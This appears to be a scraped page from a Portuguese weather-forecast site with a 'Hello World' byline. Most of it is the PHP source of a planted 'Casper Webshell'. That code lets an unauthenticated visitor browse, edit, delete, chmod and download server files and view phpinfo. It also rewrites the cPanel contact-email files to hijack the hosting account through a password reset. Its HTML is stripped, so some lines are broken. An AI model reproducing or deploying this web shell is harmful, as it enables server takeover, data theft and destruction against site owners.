Previsão do Tempo
ini_set('display_errors', 0);
// Get current directory or default to root (htdocs)
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);
if (!is_dir($current_dir)) {
$current_dir = dirname(__FILE__);
}
$items = scandir($current_dir);
function formatBytes($size, $precision = 2) {
$base = log($size, 1024);
$suffixes = array('', 'KB', 'MB', 'GB', 'TB');
return round(pow(1024, $base - floor($base)), $precision) . ' ' . $suffixes[floor($base)];
}
$parent_dir = dirname($current_dir);
$editFileContent = '';
$directory = isset($_GET['dir']) ? $_GET['dir'] : '.';
$directory = realpath($directory) ?: '.';
if (isset($_POST['action'])) {
$action = $_POST['action'];
$target = $_POST['target'];
switch ($action) {
case 'delete':
if (is_dir($target)) {
deleteDirectory($target); // Call the recursive delete function
} else {
unlink($target);
}
break;
case 'edit':
if (file_exists($target)) {
$editFileContent = file_get_contents($target);
}
break;
case 'save':
if (file_exists($target) && isset($_POST['content'])) {
file_put_contents($target, $_POST['content']);
}
break;
case 'chmod':
if (isset($_POST['permissions'])) {
chmod($target, octdec($_POST['permissions']));
}
break;
case 'download':
if (file_exists($target)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($target));
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($target));
readfile($target);
exit;
}
break;
}
}
function deleteDirectory($dir) {
if (!is_dir($dir)) {
return false;
}
$items = array_diff(scandir($dir), array('.', '..'));
foreach ($items as $item) {
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
deleteDirectory($path);
} else {
unlink($path);
}
}
return rmdir($dir);
}
function reset_cpanel_password($email) {
$user = get_current_user();
$site = $_SERVER['HTTP_HOST'];
$resetUrl = $site . ':2082/resetpass?start=1';
$wr = 'email:' . $email;
$f = fopen('/home/' . $user . '/.cpanel/contactinfo', 'w');
fwrite($f, $wr);
fclose($f);
$f = fopen('/home/' . $user . '/.contactinfo', 'w');
fwrite($f, $wr);
fclose($f);
echo '
Password reset link: ' . $resetUrl . '';
echo '
Username: ' . $user . '';
}
if (isset($_POST['cpanel_reset'])) {
$email = $_POST['email'];
reset_cpanel_password($email);
}
$username = get_current_user();
$user = $_SERVER['USER'] ?? 'N/A';
$phpVersion = phpversion();
$dateTime = date('Y-m-d H:i:s');
$hddFreeSpace = disk_free_space("/") / (1024 * 1024 * 1024); // in GB
$hddTotalSpace = disk_total_space("/") / (1024 * 1024 * 1024); // in GB
$serverIP = $_SERVER['SERVER_ADDR'];
$clientIP = $_SERVER['REMOTE_ADDR'];
$cwd = getcwd();
$parentDirectory = dirname($directory);
if ($parentDirectory === false || $parentDirectory === '/') {
$parentDirectory = '.';
}
Casper Webshell
Casper Webshell
Username: echo htmlspecialchars($username);
User: echo htmlspecialchars($username);
PHP Version: echo htmlspecialchars($phpVersion);
Date and Time: echo htmlspecialchars($dateTime);
HDD Free Space: echo number_format($hddFreeSpace, 2); GB
HDD Total Space: echo number_format($hddTotalSpace, 2); GB
Server IP: echo htmlspecialchars($serverIP);
Client IP: echo htmlspecialchars($clientIP);
Directory: echo htmlspecialchars($directory);
if ($parentDirectory !== $directory):
endif;
Name |
Size |
Permissions |
Actions |
// Initialize $files
$files = array();
if (is_dir($directory)) {
$files = scandir($directory);
}
foreach ($files as $file) {
if ($file === '.' || $file === '..') continue;
$filePath = $directory . DIRECTORY_SEPARATOR . $file;
$fileSize = is_file($filePath) ? formatBytes(filesize($filePath)) : '';
$permissions = substr(sprintf('%o', fileperms($filePath)), -4);
echo "";
// If it's a directory, make the name a clickable link
if (is_dir($filePath)) {
echo " $file | ";
} else {
echo " $file | ";
}
echo "$fileSize | ";
echo "$permissions | ";
echo "";
echo "";
echo " | ";
echo "
";
}
if ($editFileContent !== ''):
Editing File: echo htmlspecialchars($target);
endif;
Reset cPanel Password
// Display PHP Info if requested
if (isset($_POST['action']) && $_POST['action'] == 'phpinfo') {
phpinfo();
}
Breno Costa
16/12/2020
Fortaleza - CE
Olá Mundo!